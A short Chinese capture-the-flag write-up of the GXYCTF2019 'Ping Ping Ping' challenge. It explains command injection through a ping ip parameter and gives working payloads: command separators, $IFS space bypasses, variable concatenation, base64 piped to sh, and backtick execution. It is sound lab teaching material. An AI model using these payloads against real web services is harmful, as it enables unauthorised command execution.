[GXYCTF2019]Ping Ping Ping 命令注入+变量拼接
看到了ip再来结合题目,得知是要ping了。这里我们可以运用命令链接符,进行命令的执行,漏洞的起因还是没将用户的输入进行过滤就进行了拼接,所以才会有这样的情况;
我们嵌入/?ip=127.0.0.1;ls 这里解释一下 ' ; ' 的原因' ; ' 作为命令链接符号的一种,表示执行完前面的命令之后接着执行后面的命令,顺接的关系;
除此之外还有一些命令连接符有:& %0a %0d | || ;等等,
输入?Ip=127.0.0.1;ls
再?ip=127.0.0.1;cat flag.txt
发现过滤,绕过空格
< <> %20 %09 $IFS$9 IFS IFS
$IFS是bash中的内部域分隔符,可以代替空格至于后面的$9数字是可以随意的
输入?ip=127.0.0.1;cat%20flag.txt
发现过滤flag
查看index.php
?ip=127.0.0.1;cat$IFS$9index.php
发现过滤了,参考绕过
- cat fl* 利用*匹配任意 不行
- 2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
- 3.ca\t fl\ag.php
- 不行4.cat fl''ag.php 不行
变量拼接
我们看到源码中有一个$a变量可以覆盖
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
官方:
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
可利用内联
cat$IFS$9`ls`